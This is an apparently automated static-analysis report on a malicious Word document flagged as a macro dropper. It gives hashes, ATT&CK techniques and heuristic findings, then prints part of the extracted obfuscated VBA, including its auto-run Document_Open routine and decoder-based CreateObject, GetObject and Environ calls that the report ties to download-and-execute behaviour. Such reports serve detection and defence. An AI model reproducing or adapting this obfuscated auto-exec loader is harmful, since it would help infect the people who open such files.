Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0378fdd9b353fc33…

MALICIOUS

Office (OLE)

544.5 KB Created: 2018-09-17 12:34:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 328bc5d01a8eec7aa5deaa2de314ffd7 SHA-1: 77390bc3a7c1308f280a545e471565ab4241f42a SHA-256: 0378fdd9b353fc3302db6e0b047cf3befe05412fe38d30363344961a1626c7fe
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains heavily obfuscated VBA macros, including an auto-exec loader within the Document_Open subroutine. Critical heuristics indicate that these macros are designed to download and execute a file from an HTTP URL. The obfuscation and download-and-execute behavior are strong indicators of a dropper malware.

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-7079614-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7079614-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        jRSzCq = tOGnL.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set umqeYq = GetObject(UORuShK)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set tOGnL = CreateObject(gIwqdAeo("M[xsiEYEcuUFr eho  Os  PoaI fXDxt. t. . XhfuMrDYLuw H B&TMRqTSfBPChD"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set umqeYq = GetObject(UORuShK)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        MbstHt = Environ(gIwqdAeo("AC^Wl  Hlu$gUvI sR  e PbrlgssF(OP nWrUhRo#[(fNqWiz%dlft$e )F"))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 305519 bytes
SHA-256: 145bc538470dc93f6e6a42b53a81f2698eb9c96922056890029ed34ecff8c9bc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
1179 of 1964 identifiers look randomly generated (e.g. 'rAdoPKaALNOoksyGdIXn') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    GiQFtv = 159 - 340 - 162
    GStjydfEQOQy = Space(14)
    While Rqxsjm < 2
        For PXGodb = 0 To 7
            mCBEZVWQQBqh = 433 - 218 - 483
            LgesSNCa = Right("E# rK    UXN Ypp xDR", 2)
            mCBEZVWQQBqh = "DHH fY$A %u" + " f  H-?ILXJ m)@ P i^" + " Uv L!y_$y-"
            fiOlm = 120 - 204 - 119
            OjtSZ = 1930 + 669 + 195
            OjtSZ = RTrim("x D_X # n V ")
            LgesSNCa = Left(" xt U$?uFd@  FKP a", 4)
            GiQFtv = RTrim("%mRqPnIb$H ^tP& qdq%")
            WTdMMjxyMq = Right("c_qZtOj#J qR)I", 5)
            mCBEZVWQQBqh = Space(16)
            GiQFtv = Left("bl[c[?mioF )t   cg", 4)
            GStjydfEQOQy = 1379 + 1755 + 256
            OjtSZ = Right("Te OBn$o^HvukeDy n J", 5)
            WTdMMjxyMq = Space(17)
            WTdMMjxyMq = Space(8)
            LgesSNCa = Right("[ GK c%  ZMb", 4)
        Next PXGodb

        OjtSZ = Space(2)
        GiQFtv = "yhhygK.)O  ]  L" + ".M c  rP-? ONK[ bIRf" + " j xsDI& mM@ V?"
        GStjydfEQOQy = Right("bO@)v   zxAr ", 5)
        mCBEZVWQQBqh = UCase("h&cvp BT. t)Vt")
        GStjydfEQOQy = RTrim(" Z cvWAxJO-I")
        WTdMMjxyMq = Right("$_wkpIe@X@S) x", 5)
        WTdMMjxyMq = StrReverse("% _)DoZb  d k")
        mCBEZVWQQBqh = "[ ^ o&JZPDY]] o   mK" + "ICHa _hk   k.  " + "[ezUfj odT^N)_)n x"
        WTdMMjxyMq = UCase("#b?.j ^EfWI ")
        WTdMMjxyMq = "ARZS[ .PR   " + "e JT oLo!! (   S N" + "y    @xEPJDohO O"
        GiQFtv = UCase("Ja _Ly [  olx gC MFI")
        OjtSZ = "ub^ZpsJJLVLYhI" + ".xk  nm    &L h r" + "  %ncxR cdijPa  )"
        Rqxsjm = Rqxsjm + 2
    Wend

    WTdMMjxyMq = "yI  ADxmr Z)c[P!" + "G To B T v  ]]GLWZHZ" + "qoHC  x  FL"
    OjtSZ = LTrim(" AdobwqCNd n X- aoL")
    While Rxvcsy < 2
        GStjydfEQOQy = 318 - 199 - 447
        GStjydfEQOQy = Left("#] Y  w USuJH ", 3)
        WTdMMjxyMq = 1095 + 107 + 663
        bSSPTA = 113 + 1236 + 562
        fiOlm = StrReverse("$kX Cu  ? M G")
        LgesSNCa = Space(6)
        LgesSNCa = StrReverse("^!? QR S-t  ")
        bSSPTA = RTrim("eLi ]Il o NEx((!e")
        LgesSNCa = 225 - 394 - 209
        GStjydfEQOQy = RTrim("(pQ iB[m@)f-e")
        fiOlm = "  UP NZ PR^  " + "q   $KM BxtMu" + " []NBypj gd"
        OjtSZ = 607 + 1366 + 1513
        Rxvcsy = Rxvcsy + 1
    Wend

    WTdMMjxyMq = Left(" a w[t@UXad", 2)
    For YAneVZ = 0 To 9
        fiOlm = StrReverse("yC JeBgL[V")
        LgesSNCa = LTrim("   grFMtpqf(?-UIM ")
        bSSPTA = RTrim("  Ckt.foK ")
        OjtSZ = 1128 + 964 + 1793
        GStjydfEQOQy = LTrim(" C  U]c W!NtV z)]")
        bSSPTA = 428 - 326 - 293
        GiQFtv = StrReverse("# u%Ld  Z ?$TWn")
        WTdMMjxyMq = Right("$ k   THfcf$D   Jy U", 3)
        GStjydfEQOQy = UCase("%da X RHra   kR @ ")
        LgesSNCa = StrReverse("BK- ]exlLn  kei")
        bSSPTA = UCase("[  cM ]   a-Quw")
        fiOlm = LTrim("%] MQOP   ) ^ceRQ   ")
        WTdMMjxyMq = LTrim("Gkx@%OTu cq ")
        bSSPTA = LTrim("bGh[ W).?X^!C X")
        bSSPTA = Right("E(eu z KzXCWdb ", 5)
        GStjydfEQOQy = 420 - 174 - 292
        WTdMMjxyMq = 432 - 325 - 288
    Next YAneVZ

    bSSPTA = "DN  wk)YeJ  " + "r^vip m ZlO[[ G #" + "dmDEw cdlFsrn."
    LgesSNCa = "ZLd bXhGrTB(t " + ")$BSE]Q    un& Z " + "auaYtXPE  J"
    mCBEZVWQQBqh = UCase("ZwS[v[ UziKc")
    GStjydfEQOQy = RTrim(" t-.BZ@HXA a S ]e .")
    While JzxRcl < 1
        fiOlm = UCase(" ]^ZGnt&vTW p")
        GStjydfEQOQy = 397 + 1285 + 319
        mCBEZVWQQBqh = " # ]tZT@ W WmKB- " + "]eKoZP  O tVqxHM r" + "hT . R KAR   Hx ^"
        OjtSZ = RTrim("Y F ZuLIy.k_-  E o")
        mCBEZVWQQBqh = 269 - 158 - 319
        GStjydfEQOQy = Right("ZlwKB G& aEwYw j", 3)
        JzxRcl = JzxRcl + 3
    Wend

    OjtSZ = LTrim("AM#n zI Tc")
    OjtSZ = Space(16)
    OjtSZ = LTrim("uy e Q $QBzSC")
    For NQLDGZ = 0 To 3
        While nCFqDd < 5
            LgesSNCa = "l FHgf([g @ KW uB" + "bfz c XU  w%yl X" + "E%SSt]S  Rw # w$wQf)"
            bSSPTA = 416 - 352 - 317
            fiOlm = Right("qWwbmAAojPH", 2)
            LgesSNCa = StrReverse("  % ky [ zmF?EWmESY")
            fiOlm = Right("n[g^ x# %!_za", 5)
            bSSPTA = LTrim("u%KY G Z  ")
            OjtSZ = Right("BL _&-%c - z..MA  T", 5)
            OjtSZ = "gybV^oiNT Vq)yPb" + "av  aP-O.#p g  @Ok" + "^f$ nR j_ cZlN_U "
            LgesSNCa = StrReverse("&j @JTZ -StXHn!]ao")
            bSSPTA = StrReverse(" CO(Uk_ @Tn Wli?fZU")
            GStjydfEQOQy = Space(8)
            mCBEZVWQQBqh = 1990 + 1612 + 366
            GStjydfEQOQy = 200 - 192 - 127
            nCFqDd = nCFqDd + 1
        Wend

        bSSPTA = "H_Z( .]gIEDn--" + "izG $ k[XKCzFA$" + "?e V#l z]ir?wBY "
        fiOlm = UCase("b)Y!F JANJ q ")
        mCBEZVWQQBqh = RTrim(" o&rFomDzi")
        LgesSNCa = "Oc)o[ a  kd" + "  c$   CUTaP" + " co kc_[Cqa  k"
        GiQFtv = 104 + 270 + 820
        GiQFtv = LTrim("@E   hdF?P OUX& ssH")
        fiOlm = 354 - 208 - 439
        bSSPTA = StrReverse("EY O%k-Ey X ")
        fiOlm = Right(" Mo(FjbL  o", 3)
        mCBEZVWQQBqh = Space(4)
    Next NQLDGZ

    mCBEZVWQQBqh = UCase(" [lwwEc zJQ  G&B [) ")
    LgesSNCa = Space(18)
    GStjydfEQOQy = 469 - 238 - 458
    WTdMMjxyMq = LTrim("%s t_ MRc@ ")
    fiOlm = LTrim(" D  qNHc%R  c_ -x T")
    fiOlm = StrReverse(" yJNglbejN v mB X]")
    While QFSrhY < 5
        For otdXjY = 0 To 9
            GStjydfEQOQy = StrReverse("E   b Q  tJaWDm")
            OjtSZ = Left(" w&(zN $ F?YE", 5)
            WTdMMjxyMq = Space(3)
            GiQFtv = UCase("rpkm -RO mb araQ")
            LgesSNCa = Space(6)
            OjtSZ = Space(20)
            bSSPTA = " L% -sn IP" + " IbK tCm   XkNOL D" + "Rh w Y mv  qg!Upw"
            LgesSNCa = " jjQQlzJ[e #y[" + "c # Dty-FRTWXs t  pM" + "   gO-$ GIJ Wvi"
            bSSPTA = Left("h!HNreBgoe", 3)
            bSSPTA = RTrim("YV-CU T!nK")
            mCBEZVWQQBqh = " aSpT(x e[@XG" + "jAJggs!Hi Y- KrYFb " + ".$smjQl  Wp orD)"
            fiOlm = StrReverse("n$Oeea bcEni?")
        Next otdXjY

        mCBEZVWQQBqh = Space(10)
        GStjydfEQOQy = Left("   tJ@oO B  l F", 3)
        bSSPTA = LTrim("m%rvR -T&jHV   w")
        GStjydfEQOQy = 1499 + 1153 + 1069
        mCBEZVWQQBqh = LTrim("xMHFj&FU _YY")
        GiQFtv = Left("N U#G LL)OGHZqK", 4)
        bSSPTA = 424 + 1799 + 549
        mCBEZVWQQBqh = RTrim("vz]E aDtwW")
        LgesSNCa = Space(7)
        GStjydfEQOQy = StrReverse(" edaYrW!m &]sw.Z N C")
        GStjydfEQOQy = LTrim("K^GD%D^  z  ?")
        GStjydfEQOQy = RTrim("! uuao$wD  [aj W")
        GiQFtv = Space(9)
        mCBEZVWQQBqh = RTrim(")$Cw[H P r%Cyw RQ$B")
        GiQFtv = "r  qQXm!^PNF " + "(X.t Pw  XUP & %" + "d)T-cTSaY&_"
        LgesSNCa = UCase("F  mo  ]-f k")
        LgesSNCa = StrReverse("]qN  #  S M% v PLS M")
        OjtSZ = "(K p!  c  ^" + " _MhKRj K zb " + " SMQ  c g m AhFGqSVM"
        GStjydfEQOQy = UCase(" m?!G_ vuN")
        QFSrhY = QFSrhY + 2
    Wend

    GStjydfEQOQy = Space(12)
    For hnlrIw = 0 To 7
        fiOlm = StrReverse("xR? F rLuHh ECx ")
        mCBEZVWQQBqh = Left("O GRQU.C_E@Z", 3)
        bSSPTA = "xbBtui$_)YnEAWyf q" + " ZdeMR  Lo ]wzZfI" + "  S B  pEpw!  fNz c"
        GiQFtv = 1021 + 987 + 949
        fiOlm = "BykCvA(XgO HDSm" + " $)k!S B_Kr ^kAfD&i" + "#% %  J @ OyFW "
        OjtSZ = 1455 + 734 + 1628
        GiQFtv = UCase("(j r%UkLaoIcTS &Xqa")
    Next hnlrIw

    For AzVDTf = 0 To 5
        While brtPSF < 5
            mCBEZVWQQBqh = Left("k(OE@ABn edh", 3)
            GStjydfEQOQy = "xf$C!)kX Rt!awC?X^d" + "D WTq   g a?Ufyz?]&s" + "J]cd?og  GtjH@ Q Wm"
            bSSPTA = Space(2)
            bSSPTA = 423 + 856 + 287
            GStjydfEQOQy = " Gi.fXQb .  nQ  Wd" + "S kjVB?zRq- @ SNok " + "fK w(lq. Zkz[troB  "
            OjtSZ = StrReverse(" % @  #.#TXU")
            GStjydfEQOQy = RTrim("d%vRyn!G_CKxxq UyI")
            LgesSNCa = Space(4)
            GiQFtv = 390 - 432 - 450
            bSSPTA = UCase("F$&Q _L! bS)@EeG- aq")
            brtPSF = brtPSF + 1
        Wend

        fiOlm = UCase(" IxsxXXid  LK E De o")
        GStjydfEQOQy = 879 + 1947 + 148
        fiOlm = Left("y-AYXe Uz_W   ", 4)
        bSSPTA = Left(" LThEwjKP Py -Mq aJg", 2)
        GiQFtv = 308 - 495 - 345
        GiQFtv = " nI .TcI$lKfN e s" + "wYT Ur? Se-uz " + "g_ ]mwOD]kz C"
        bSSPTA = Space(1)
        GStjydfEQOQy = Right(" MlYU c V(", 2)
        bSSPTA = "wxdVaZ zU  opG.R.i" + "pyJkoS  EIs  G[l vf" + "z  q g Aq  "
        mCBEZVWQQBqh = UCase("FOFiJ  n[ uR.Egsyfo")
        mCBEZVWQQBqh = LTrim("W b T! yfrRN")
        WTdMMjxyMq = 396 - 239 - 203
        GStjydfEQOQy = Left("D %Ujb SFR", 3)
        LgesSNCa = 1191 + 810 + 1851
    Next AzVDTf

    LgesSNCa = 1794 + 1591 + 732
    fiOlm = UCase("DBzNXsolJMU K(")
    mCBEZVWQQBqh = Right("F DnBgl@q  tC", 4)
FYXVda "hosXYoYoo", "WxZthlvDSn", "JEFsfWW", "bnXBFQ", "lHFwaMcenS", "kBiodPOhI", "jhiNDMs"
    MbstHt = Environ(gIwqdAeo("AC^Wl  Hlu$gUvI sR  e PbrlgssF(OP nWrUhRo#[(fNqWiz%dlft$e )F"))
    WTdMMjxyMq = UCase("UfL    Nzm$Kbz$AK")
    fiOlm = RTrim("MFKLkUB)  xy .")
    LgesSNCa = StrReverse(" M[ucT   Zop_ n")
    WTdMMjxyMq = Space(6)
    Dim QsTHdI As String
    fiOlm = Space(10)
    For vVIwbA = 0 To 6
        WTdMMjxyMq = 234 - 228 - 169
        OjtSZ = 1710 + 100 + 848
        GStjydfEQOQy = Space(13)
        bSSPTA = Right("j  ..i N  #d^ bC ", 5)
        OjtSZ = LTrim("v^ vz  fuq x ?")
        fiOlm = 324 - 251 - 232
        OjtSZ = RTrim("kNw TxZItRdl# O ")
        WTdMMjxyMq = RTrim("xDD%RQgyAF     j")
        GStjydfEQOQy = Space(5)
        fiOlm = Left("e!HmP[w.Ib)i NI $f", 5)
        GiQFtv = "MDNq &M^-NW_   " + "GpH.)LDo. F$? $" + "%P[T     A   )"
        LgesSNCa = UCase("uMUd?UZzq p")
        GStjydfEQOQy = 193 - 250 - 174
        WTdMMjxyMq = Left("$Y mQy%  m", 4)
    Next vVIwbA

    fiOlm = 479 - 258 - 418
    For KJaqcv = 0 To 7
        fiOlm = 409 + 1639 + 1095
        mCBEZVWQQBqh = RTrim("# o# TZY_ c n")
        mCBEZVWQQBqh = Left(" DB -.V ]P.", 2)
        bSSPTA = 122 - 472 - 282
        fiOlm = StrReverse("%l.N [_whW !Xhe&!&")
        bSSPTA = Left("n Px ixm !f gSM fWA)", 5)
        mCBEZVWQQBqh = Left("x#!%S)b$  ", 4)
        mCBEZVWQQBqh = Right("IDd kDlJ  It!G# s ", 5)
        fiOlm = Right("Z(RvqFGNh E U .", 5)
        LgesSNCa = RTrim("hduJb?[cNJn%  k")
        GStjydfEQOQy = StrReverse(" EUN !      Spi")
        LgesSNCa = 1220 + 205 + 1550
        mCBEZVWQQBqh = Left("OzYruPl z   ", 5)
        fiOlm = 1550 + 150 + 1060
        GiQFtv = Left("  Ge? . xmK roTC", 5)
        fiOlm = 356 - 206 - 471
    Next KJaqcv

    fiOlm = LTrim(" p bC (  kD )fo")
    fiOlm = LTrim("Pa WbO ZMjW)q? V!s_")
    LgesSNCa = StrReverse("n y& d$ry   vz")
    For nRiYjW = 0 To 5
        For yApAns = 0 To 9
            OjtSZ = LTrim(" ?A  c@lp d ")
            OjtSZ = RTrim("e@trpLE g ej  p bi")
            mCBEZVWQQBqh = RTrim("h a)y_P Yz")
            bSSPTA = 1146 + 133 + 1645
            fiOlm = UCase("$  sHUog Y^x")
            mCBEZVWQQBqh = LTrim("!qFfka$x.C    r ")
            LgesSNCa = Left("Z aixvGbxKw  NBvt", 2)
            GStjydfEQOQy = Left("HFu X [jYdc", 3)
            GStjydfEQOQy = Space(13)
            mCBEZVWQQBqh = 1573 + 971 + 111
        Next yApAns

        mCBEZVWQQBqh = Left("D!?#AC Z jJd#", 4)
        LgesSNCa = Space(9)
        bSSPTA = RTrim(" KDj   X [! H")
        LgesSNCa = StrReverse("Zo CKCt($a")
        GiQFtv = UCase(" rBIP@jw  C$ i")
        bSSPTA = 171 - 322 - 151
        fiOlm = Right("j uG T X r E_ ", 2)
        GiQFtv = LTrim("y d p#qA  Kj")
        GStjydfEQOQy = "nZ$RsO KJ@%r_" + " FlZ^PiKNr@pYYy  " + "@ mPuOjNo%  "
        LgesSNCa = Space(17)
        GiQFtv = LTrim("zjX@)qr$NA")
        LgesSNCa = LTrim("vIxOQz i #Ax]Qew x ")
    Next nRiYjW

    QsTHdI = "F?@ O"
    For fHwsNC = 0 To 2
        For IZamYz = 0 To 8
            GiQFtv = 192 + 690 + 1192
            LgesSNCa = "Zw Dl nm o-b .Mj" + "a  @sYE e z" + "#k %  C   # $SOCS"
            WTdMMjxyMq = UCase("  Y$y Md&#vQ fi")
            GiQFtv = RTrim(" GO  xFRvqS  k%S")
            mCBEZVWQQBqh = "Fiqxuf ^ !   Q" + "w    wh ^ Ton" + "HV Rn%  j^ QdVQj$["
            mCBEZVWQQBqh = Space(17)
            fiOlm = UCase("Q! fvSpO  e)BIAV   v")
            fiOlm = Left("@AUAC.]n & dFe ", 3)
            LgesSNCa = Right("TZfB F?pMCl", 3)
            LgesSNCa = Left("cEou qcW ]L  R S", 2)
            GiQFtv = RTrim(" %s # S q@[v@^J@Q")
            GiQFtv = "  !%C)Ty@!htK  ps" + "SR$y@KUv   vM  S%#" + "U!g l ?  xjmc NYb j"
            WTdMMjxyMq = StrReverse("LVv ]   lYll R%w . [")
            fiOlm = Space(12)
        Next IZamYz

        bSSPTA = 1736 + 854 + 428
        LgesSNCa = UCase(" HjN% f S !Q ")
        WTdMMjxyMq = LTrim("AMG&ul&KwVEF Hbt")
        GStjydfEQOQy = UCase("   sq$  %]W nV ")
        GStjydfEQOQy = Space(3)
        WTdMMjxyMq = 1411 + 1126 + 1006
        bSSPTA = Left("[ m ^xtH hY", 3)
    Next fHwsNC

    While zDrKaI < 1
        fiOlm = RTrim(" C q sGm$J Y  xO j")
        GiQFtv = Left("G?%X-Md xI$      F", 5)
        OjtSZ = 406 - 420 - 117
        OjtSZ = Right("w  IhokN Du  d .H n", 4)
        WTdMMjxyMq = Left("g R o DL)iu", 5)
        OjtSZ = LTrim(" l.z$N Wnne!G")
        GStjydfEQOQy = 476 - 268 - 343
        GStjydfEQOQy = Space(8)
        bSSPTA = Right("W!Ud nHo. W#j", 4)
        LgesSNCa = Right("zsHdEJLIzCgE Dm", 5)
        GiQFtv = Right(" ChC TMC! qgt", 2)
        OjtSZ = "# v  .#    oeGe " + "k D$A X#pFCL)DY [ " + "itB] %FRi ]t  M z"
        bSSPTA = StrReverse("ZO][E_MT lbZ DCG")
        OjtSZ = Right(" k(i f S E-YSW FI", 3)
        OjtSZ = "Ui  %% D g E Nf" + "s] ^?Ag V $#Vk@XB#y" + "veOT lHfqasi"
        zDrKaI = zDrKaI + 2
    Wend

    GStjydfEQOQy = 553 + 1122 + 1071
    While eWbvPG < 2
        For XYOUGt = 0 To 5
            LgesSNCa = Right("He--SV!D@ P", 5)
            bSSPTA = " h# dbA n ds  S&Hc Q" + "  .)tIyq  psQ ^e Wd" + " %pq Bo.yspc"
            bSSPTA = StrReverse("&eR] sVn  &mV[HW")
            bSSPTA = Left("%?ASFCn ^lYb]I", 5)
            GiQFtv = RTrim("dcCsY@Q zT( !pV!Fj C")
        Next XYOUGt

        GStjydfEQOQy = Left("l]kWpmvsiP itv iAht", 5)
        fiOlm = Right(" (Oq @ bREgx$! ", 3)
        mCBEZVWQQBqh = Right("gOJv& p CPR", 5)
        WTdMMjxyMq = 455 - 228 - 337
        GStjydfEQOQy = LTrim("b^U tl wCEaT")
        LgesSNCa = StrReverse("]yd $C h )   R wgy")
        OjtSZ = Left("rCr S v%nUNq  ", 5)
        GStjydfEQOQy = Left("tpRw  p ! ", 4)
        bSSPTA = 1702 + 1035 + 1967
        bSSPTA = 109 - 465 - 331
        WTdMMjxyMq = UCase("-t%c&bF-v M?Ku_ ")
        GStjydfEQOQy = Left("ep AZ A.sXZ - Dp C", 3)
        eWbvPG = eWbvPG + 2
    Wend

    OjtSZ = Space(17)
    LgesSNCa = Space(18)
    While SDxIQX < 5
        For gntnNA = 0 To 5
            GStjydfEQOQy = Left("mZH(IbJ xL Kj H", 5)
            fiOlm = Right("Sh)wb^Dab  cl_D ?", 5)
            WTdMMjxyMq = Right("rCnBT Asa.n", 4)
            mCBEZVWQQBqh = RTrim("n m brTr I pa")
            LgesSNCa = RTrim("j j# (  ]!")
            GiQFtv = 491 - 307 - 243
            GStjydfEQOQy = LTrim("sn#!xW  oG  Ej&Y")
            OjtSZ = LTrim(". vTD %mys v [ARUKi")
            fiOlm = LTrim("Ncxd-bj -O)")
            WTdMMjxyMq = 826 + 1424 + 690
            fiOlm = 1867 + 171 + 542
            OjtSZ = 1714 + 1376 + 1578
            mCBEZVWQQBqh = Right("c    cg^dAD", 5)
            GStjydfEQOQy = Left("  q  x F[N&K@qu ", 3)
            mCBEZVWQQBqh = "c )   _- txuO CmtK" + ")A?qUXi!(&)s BXC" + "@GEO S ae  U^Ak"
            WTdMMjxyMq = RTrim("pF(DF$sV   _]Tk DY")
            fiOlm = RTrim(" D ui)s eF")
            fiOlm = 321 - 222 - 186
        Next gntnNA

        GStjydfEQOQy = RTrim("g d$M v)t@-SD ")
        WTdMMjxyMq = LTrim("uYNWob( nl-p]")
        GiQFtv = Space(3)
        GStjydfEQOQy = Left("_ ^TasO e w [ @i", 5)
        OjtSZ = StrReverse(" ude  F g(m]sDM")
        WTdMMjxyMq = RTrim("R)F]]dqF m")
        GStjydfEQOQy = 1962 + 1577 + 1809
        LgesSNCa = LTrim("U!XaU ]GQ%LO vL  l")
        LgesSNCa = UCase("   iR $DR & RP")
        GiQFtv = Right("[#Ylt-S OD] FtRE", 3)
        LgesSNCa = 378 - 276 - 421
        LgesSNCa = Left("zs(v gd   d(up]S", 5)
        bSSPTA = Right(" RazR?sLb% GHR ", 3)
        SDxIQX = SDxIQX + 1
    Wend

    LgesSNCa = Right("i GT( M-IyXQNybNC", 4)
    QsTHdI = QsTHdI + "i JL "
    GiQFtv = StrReverse(" Pld  _k.?-v_&")
    For kWWMRh = 0 To 5
        WTdMMjxyMq = 173 - 397 - 436
        LgesSNCa = Left("w $ MiVWZD _", 2)
        GiQFtv = StrReverse("gbv !l  YUt gF Rb")
        WTdMMjxyMq = RTrim("NKWa!SlRY  y]QfO")
        fiOlm = Right("h d)fzIojAG [g", 5)
    Next kWWMRh

    GStjydfEQOQy = 700 + 452 + 342
    LgesSNCa = StrReverse("ZGIG  tsk oiU")
    bSSPTA = 1405 + 467 + 701
    mCBEZVWQQBqh = LTrim("vVR$ wRBq  @G   l ")
    OjtSZ = Space(15)
    GiQFtv = RTrim("j!dH w    Yi rz@PS ")
    While bNwTBY < 4
        While FJmISA < 5
            GStjydfEQOQy = Left("^ASch-Npdm rX!TMj", 5)
            LgesSNCa = Right("Pxmw@!@ YM", 4)
            GiQFtv = 133 - 417 - 417
            mCBEZVWQQBqh = UCase("Z   R @azf bV u")
            LgesSNCa = 590 + 347 + 1358
            OjtSZ = UCase("y)$ VIUe _t    ")
            mCBEZVWQQBqh = StrReverse(" x! xx it. xs aa")
            bSSPTA = 1396 + 843 + 818
            mCBEZVWQQBqh = Left("  [b bMn[) X@Kf!", 5)
            GStjydfEQOQy = StrReverse("r Fv?- Zi ZunMx")
            LgesSNCa = Right("MD l^ O]C  ^woBU", 3)
            GiQFtv = Left("  U-U x  &", 5)
            GiQFtv = "E ]cgs Dhh(R M" + " ^ ^%  b$v " + "M GF[J(Knd(Bh  FfI "
            mCBEZVWQQBqh = 125 - 491 - 437
            bSSPTA = StrReverse("!  U Qo)o] -Nv dYP")
            OjtSZ = 367 - 245 - 110
            FJmISA = FJmISA + 3
        Wend

        bSSPTA = RTrim("EX% Tm    O")
        mCBEZVWQQBqh = 217 - 167 - 146
        GiQFtv = 205 - 265 - 114
        mCBEZVWQQBqh = Right("mc f i(_WXz V%", 3)
        LgesSNCa = Left("mC -[ZMM   ", 2)
        GiQFtv = Left("VpP$z$-( &o.", 4)
        WTdMMjxyMq = LTrim("Pj bz j TMbLjQ .b [")
        mCBEZVWQQBqh = Space(6)
        GiQFtv = UCase("z[#f?fDjkKI ? XtFO")
        fiOlm = Left("jtoEVtB&_d ", 4)
        bSSPTA = "!  rb.TfUItkFf_@A!" + " j QkyS !-A" + "r!ZwD$GTw."
        GStjydfEQOQy = "wjBM rfQKbD!K RF" + " Dwp GP  @ (c[ F(Nm^" + "sj  o[k   "
        mCBEZVWQQBqh = Right("ij ? ! &.G bRk baH", 5)
        bSSPTA = "svQtE@Gg]P n )H" + " [(iBi -ovg F" + "& x f%NtL qNOyVP ru "
        bNwTBY = bNwTBY + 2
    Wend

    While XmZxgG < 4
        For QJkGHS = 0 To 8
            GStjydfEQOQy = 914 + 1837 + 639
            WTdMMjxyMq = "  gec.  ] Na   " + "KLHSbh I   y" + "oD   -  EIuSD j(D"
            bSSPTA = RTrim("Q^F]  &_  % ")
            fiOlm = Left("SY GLEg N -DYbDpb", 4)
            GStjydfEQOQy = " Q m]A YO)GWzUa[P " + " ) JAdou !" + "sr@Y ncsKcA#Acmr(Qe"
            fiOlm = Right(" ]fxR.sWsO@D", 5)
            OjtSZ = Right("PId(z[jSrak P ", 5)
            mCBEZVWQQBqh = 187 - 479 - 203
            OjtSZ = " _  DB b u! $ T!K" + "X TM jHM fVa  S?M S" + "WA _AL?g   J "
            LgesSNCa = 314 - 290 - 226
            GiQFtv = RTrim("J-nv)zqOmvXqNZYPZ")
            bSSPTA = 596 + 869 + 1864
            GiQFtv = Left("sYC?F hqD  dt@   ?f", 2)
            bSSPTA = Right("o_%@  ze%@UU", 2)
            OjtSZ = UCase("J[  L  HJI(")
            bSSPTA = Space(16)
        Next QJkGHS

        OjtSZ = 326 - 222 - 223
        GiQFtv = Space(7)
        GiQFtv = LTrim("  .  AB $#uxL& ")
        GStjydfEQOQy = LTrim("J LJl)U )?mbI prV]MA")
        LgesSNCa = 324 - 121 - 214
        fiOlm = Space(6)
        LgesSNCa = StrReverse("GIX [ i  % G vK-")
        XmZxgG = XmZxgG + 2
    Wend

    QsTHdI = QsTHdI + "ufD Z"
    fiOlm = UCase("   [_N   (FRK-&l Is")
    GiQFtv = Right("GV$vN E A-C.Ihj(-  ", 4)
    GStjydfEQOQy = StrReverse("rx & sy B]M  $Q")
    LgesSNCa = 924 + 1341 + 1598
    For gZCHkH = 0 To 3
        While bcYzOr < 3
            LgesSNCa = StrReverse("LD   fE-mXLX ^R")
            fiOlm = RTrim("Px   dIXe  u")
            OjtSZ = 476 - 334 - 114
            bSSPTA = StrReverse(" s g  AyN zkK^ROsE_P")
            GStjydfEQOQy = 364 - 213 - 487
            GiQFtv = 214 - 337 - 294
            mCBEZVWQQBqh = "W   Ca Kb-TY^kQaC" + "P]WV  XWj) h " + "h j  SDO(Y"
            OjtSZ = UCase("bb l Vg ^ux  %")
            OjtSZ = Space(3)
            LgesSNCa = StrReverse("Gd]R.nI Z%Q!")
            WTdMMjxyMq = LTrim(" J pVJ]hbL Y u")
            GStjydfEQOQy = Space(19)
            LgesSNCa = "Kc QSSCJ(ICx " + "NK&u)MNW  z_   U%dUx" + "zX  N  k mzrs"
            mCBEZVWQQBqh = UCase("M#YZmm v  )_ ]")
            mCBEZVWQQBqh = Right(" BY-P Ewg  (f", 2)
